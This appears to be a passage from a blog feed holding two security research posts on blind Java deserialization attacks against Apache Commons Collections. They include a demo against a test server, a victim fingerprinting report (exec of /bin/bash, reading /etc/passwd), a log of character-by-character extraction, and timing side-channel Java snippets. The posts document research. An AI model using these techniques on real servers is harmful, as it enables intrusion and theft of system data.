&lt;p&gt;The exploitation example is in &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Attack.java&quot;&gt;Attack.java&lt;/a&gt; which demonstrates:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;extraction of &lt;code class=&quot;highlighter-rouge&quot;&gt;os.name&lt;/code&gt; property&lt;/li&gt;
  &lt;li&gt;extraction of &lt;code class=&quot;highlighter-rouge&quot;&gt;PATH&lt;/code&gt; environment variable&lt;/li&gt;
  &lt;li&gt;extraction of &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; from the system&lt;/li&gt;
  &lt;li&gt;simple victim fingerprinting (determines working exploit classes, java version, OS, security manager access, a few interesting properties)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;affected-libraries&quot;&gt;Affected libraries&lt;/h2&gt;

&lt;p&gt;The Blind attack is mainly focused on Apache Commons Collections library.
&lt;a href=&quot;https://commons.apache.org/proper/commons-collections/security-reports.html#Apache_Commons_Collections_Security_Vulnerabilities&quot;&gt;Affected versions&lt;/a&gt; are Apache Commons Collections &amp;lt;= v3.2.1 and &amp;lt;= v4.0.
The security problem is fixed in v3.2.2 and v4.1.&lt;/p&gt;

&lt;h2 id=&quot;further-work&quot;&gt;Further work&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;The work can be extended and added as a Metasploit module or Burp module.&lt;/li&gt;
  &lt;li&gt;Extending information extraction also to javassist exploits.&lt;/li&gt;
  &lt;li&gt;Implementation of reverse shell payload in javassist exploit class.&lt;/li&gt;
  &lt;li&gt;Improve the system fingerprinting, scan for running services (e.g., MySQL, Oracle, Tomcat).&lt;/li&gt;
  &lt;li&gt;Container fingerprinting (Tomcat, JBoss, WebSphere, …).&lt;/li&gt;
  &lt;li&gt;Private key extraction from web servers &amp;amp; containers.&lt;/li&gt;
  &lt;li&gt;Implementation of DoS payloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html&quot;&gt;Part 1&lt;/a&gt; of our blog post&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yolosec/deserialize-server&quot;&gt;Deserialize test server&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yolosec/ysoserial&quot;&gt;extended ysoserial&lt;/a&gt; with blind attacks implemented, victim fingerprinting&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; the original one&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&quot;&gt;Java-Deserialization-Cheat-Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://gursevkalra.blogspot.cz/2016/01/ysoserial-commonscollections1-exploit.html&quot;&gt;Understanding ysoserial’s CommonsCollections1 exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#exploitdev&quot;&gt;What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;demo&quot;&gt;Demo&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Clone &lt;a href=&quot;https://github.com/yolosec/deserialize-server&quot;&gt;Deserialize test server&lt;/a&gt; and &lt;a href=&quot;https://github.com/yolosec/ysoserial&quot;&gt;extended ysoserial&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Start the &lt;a href=&quot;https://github.com/yolosec/deserialize-server&quot;&gt;Deserialize test server&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Test whether it is listening on port 8022 - in the readme of the server you find how to compile it and test it.&lt;/li&gt;
  &lt;li&gt;Run the &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/test/java/ysoserial/blind/GeneratorTest.java&quot;&gt;GeneratorTest.java&lt;/a&gt; test class from the &lt;a href=&quot;https://github.com/yolosec/ysoserial&quot;&gt;extended ysoserial&lt;/a&gt;. It constructs payloads from JSON specifications and runs them against the deserialize server.&lt;/li&gt;
  &lt;li&gt;Run the &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/test/java/ysoserial/blind/AttackTest.java&quot;&gt;AttackTest.java&lt;/a&gt; test class from the &lt;a href=&quot;https://github.com/yolosec/ysoserial&quot;&gt;extended ysoserial&lt;/a&gt;. It contains the exploitation technique demonstration described above.
The attack is launched against the test server and produces the report as below.&lt;/li&gt;
  &lt;li&gt;Have fun.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;report---shortened&quot;&gt;Report - shortened&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Attack.java&quot;&gt;Attack.java&lt;/a&gt; runs an automated test against the victim to determine few interesting properties:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Testing CommonsCollections - Transformer based, v3
Sleep Commons01 worked: true
Sleep Commons05 worked: true
Sleep Commons06 worked: true

# Testing javassist exploit classes
# Accepting the raw Java code as payload body.
# cc = CommonsCollections. cc2, cc4 uses v4 lib
Javassist[       cb1] worked: false
Javassist[       cc2] worked: false
Javassist[       cc3] worked: true
Javassist[       cc4] worked: false
Javassist[ hibernate] worked: false
Javassist[      weld] worked: false
Javassist[     jboss] worked: false
Javassist[      jdk7] worked: false
Javassist[      json] worked: false
Javassist[     rhino] worked: false
Javassist[      rome] worked: false
Javassist[   spring1] worked: false
Javassist[   spring2] worked: false

# Testing maximum length of the payload
# server accepts
Length limit 1k passed: true
Length limit 4k passed: true
Length limit 16k passed: true
Length limit 256k passed: true
Exception in post Req
Length limit 1M passed: false

# Major java version running the app
Java 4 version: true
Java 5 version: true
Java 6 version: true
Java 7 version: true
Java 8 version: true

# Security manager active?
Security manager == null? true

# os.name fingerprinting
OS: win: false
OS: mac: true
OS: darwin: false
OS: nux: false
OS: sun: false
OS: bsd: false

# Path on which ping resides
OS: /bin/ping false
OS: /sbin/ping true
OS: /usr/bin/ping false
OS: /usr/sbin/ping false
OS: /usr/local/bin/ping false

# Security manager checks &amp;amp;
# read, write, exec checks
Can connect to google.com:80: true
Can exec /bin/bash: true
Can read /etc/passwd: true
Can write to /tmp : true
Can write to /var/tmp : true

Going to extract property: os.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;osname&quot;&gt;os.name&lt;/h3&gt;
&lt;p&gt;Example of a property extraction from the system.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Going to extract property: os.name
Prepared alphabet: \x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s
Num steps in binary search 6.6582114827517955
Going to find length of the string
String is null: false
String is empty: false
--Max length guess: 1
--Max length guess: 2
--Max length guess: 4
--Max length guess: 8
--Max length guess: 16
Length is between 7 and 16
--Length: 7 - 16, mid: 12
--Length: 7 - 11, mid: 9
--Length: 7 - 8, mid: 8
--[0]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 101, mid: 051. y: 1, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 051, mid: 026. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./01234]                         vs [56789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]
--[0000]Length: 026 - 051, mid: 039. y: 0, range: [56789:;&amp;lt;=&amp;gt;?@A]                         vs [BCDEFGHIJKLM]
--[0000]Length: 039 - 051, mid: 045. y: 0, range: [BCDEFG]                         vs [HIJKLM]
--[0000]Length: 045 - 051, mid: 048. y: 0, range: [HIJ]                         vs [KLM]
--[0000]Length: 048 - 051, mid: 050. y: 0, range: [KL]                         vs [M]
--[0]=✂M✂
--[1]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0001]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0001]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0001]Length: 070 - 073, mid: 072. y: 1, range: [ab]                         vs [c]
--[0001]Length: 070 - 072, mid: 071. y: 1, range: [a]                         vs [b]
--[1]=✂a✂
--[2]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0002]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0002]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0002]Length: 070 - 073, mid: 072. y: 0, range: [ab]                         vs [c]
--[2]=✂c✂
--[3]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0003]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0003]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0003]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[3]=✂ ✂
--[4]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0004]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0004]Length: 051 - 058, mid: 055. y: 1, range: [NOPQ]                         vs [RST]
--[0004]Length: 051 - 055, mid: 053. y: 1, range: [NO]                         vs [PQ]
--[0004]Length: 051 - 053, mid: 052. y: 0, range: [N]                         vs [O]
--[4]=✂O✂
--[5]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0005]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0005]Length: 051 - 058, mid: 055. y: 0, range: [NOPQ]                         vs [RST]
--[0005]Length: 055 - 058, mid: 057. y: 1, range: [RS]                         vs [T]
--[0005]Length: 055 - 057, mid: 056. y: 0, range: [R]                         vs [S]
--[5]=✂S✂
--[6]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0006]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0006]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0006]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[6]=✂ ✂
--[7]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\&quot;#$%&amp;amp;'\(\)*+,\-\./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0007]Length: 051 - 064, mid: 058. y: 0, range: [NOPQRST]                         vs [UVWXYZ]
--[0007]Length: 058 - 064, mid: 061. y: 0, range: [UVW]                         vs [XYZ]
--[0007]Length: 061 - 064, mid: 063. y: 1, range: [XY]                         vs [Z]
--[0007]Length: 061 - 063, mid: 062. y: 1, range: [X]                         vs [Y]
--[7]=✂X✂
Extracted string: Mac OS X
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Sun, 18 Sep 2016 08:00:00 +0200</pubDate>
        <link>http://localhost:4000/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html</guid>
        
        <category>hacking</category>
        
        <category>java</category>
        
        <category>deserialization</category>
        
        <category>commons</category>
        
        <category>blind</category>
        
        <category>exploitation</category>
        
        <category>ysoserial</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Blind Java Deserialization Vulnerability - Commons Gadgets</title>
        <description>&lt;p&gt;TL;DR: Exploitation of Java Deserialization vulnerability in restricted environments (firewalled system, updated Java).
Technique similar to blind SQL injection enables to extract data from the target system (read files, properties, env vars).&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;&lt;strong&gt;Parts:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#databack&quot;&gt;Sending data back from the victim&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#server&quot;&gt;Payload builder &amp;amp; exploitation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#gadgets&quot;&gt;Gadgets&lt;/a&gt;
    &lt;ol&gt;
      &lt;li&gt;&lt;a href=&quot;#terminating&quot;&gt;Terminating transformer chain&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#wrapping&quot;&gt;Wrapping in collections&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#backconnect&quot;&gt;Back connect gadgets&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#classloader&quot;&gt;Classloading gadgets&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#fileexists&quot;&gt;File exists test&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#strings&quot;&gt;String reading&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#fileread&quot;&gt;File reading&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#properties&quot;&gt;Reading properties&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#systemenv&quot;&gt;Reading environment variables&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#osdetect&quot;&gt;OS detection&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#stringOverSocket&quot;&gt;Sending character over a socket&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#securityManager&quot;&gt;SecurityManager&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#execWait&quot;&gt;Executing command, waiting for finish&lt;/a&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Java Deserialization vulnerability is a very nice way to get Remote Code Execution (RCE) on the target system.
&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; tool provides a lot of exploits that enable RCE via different paths/libraries. In this article I focus on Apache Commons
library as it is very common.&lt;/p&gt;

&lt;p&gt;There are 2 main Commons exploits classes (w.r.t. payload construction):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;One uses &lt;em&gt;&lt;a href=&quot;http://jboss-javassist.github.io/javassist&quot;&gt;javassist&lt;/a&gt;&lt;/em&gt; for payload construction. It takes Java code (payload) as a string, builds bytecode from it and constructs
final serialized shellcode.
This is a very strong approach as we can basically express every program with it (e.g., reverse shell). Unfortunately, if the system
running the Java program is updated (Java), this method won’t work as essential classes do not allow bytecode execution anymore.
I won’t go into these kind of exploits as it is easy to patch them. If they are not patched, you can build your own gadgets
quite easily.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Another one uses a chain of Transformers - objects defined in Commons library, which can be leveraged to do RCE
using reflection by crafting the chain. In this case we lose expressivity as the code being executed on the target machine has
to be expressed via a chain of Transformers. Only a small subgroup of programs can be expressed using these gadgets. This
makes building nice gadgets for this class of exploits challenging.
Fortunately for us, it enables RCE - system command execution.
In this article I focus on interesting gadgets one can construct using this method.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So if the server running the vulnerable Java server is updated (i.e., Java is updated), the first class of exploits won’t work.
Well, we can still do RCE. A typical scenario would be to run reverse shell on the target machine, i.e., let
vulnerable Java server connect to our server and execute all commands we send to it.&lt;/p&gt;

&lt;p&gt;But what if the system is firewalled so well no outgoing connections can leave the vulnerable machine? Or if there
are strong &lt;em&gt;SecurityManager&lt;/em&gt; policies in place? Then we cannot communicate with the target system directly. RCE is nice
but without communication we can hardly see the result of our payload being executed.&lt;/p&gt;

&lt;p&gt;In that case we need to learn more information about the target system and find a way to send data back to us.
For the communication we use covert channels as in the case of Blind SQL Injection.&lt;/p&gt;

&lt;h2 id=&quot;databack&quot;&gt;Sending data back from the victim&lt;/h2&gt;
&lt;p&gt;If we are lucky enough, the target system shows us an error when we want it to show.
Then we can construct payloads like:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;root&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This gives us 1 bit of information at a time. If the current user is the “root”, the page produces an Exception and we know the user.
Otherwise the page loads normally.&lt;/p&gt;

&lt;p&gt;If this is not the case and the server filters exceptions somehow, 
we can use the timing approach, which works very well but takes some time and is not 100% reliable.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;root&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case the page loading sleeps for 7 seconds if the current user is root. &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;sqlmap&lt;/a&gt; uses the same approach to read entire databases.
It uses binary search on the characters to read the strings and send them to the attacker. E.g. the following
code sleeps for 7 seconds if the first character is in the interval of &lt;code class=&quot;highlighter-rouge&quot;&gt;a-j&lt;/code&gt;. We can learn the first character of the string
in &lt;code class=&quot;highlighter-rouge&quot;&gt;ceil(log(N))&lt;/code&gt; queries where N is size of the alphabet. When using the printable ASCII alphabet with 101 characters, it’s 7 steps.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;matches&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[a-j]&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are also problems with this method. If network connection is not good enough, it adds noise and some queries
can be interpreted in a wrong way (i.e., the page did not sleep, but the loading still took a long time).&lt;/p&gt;

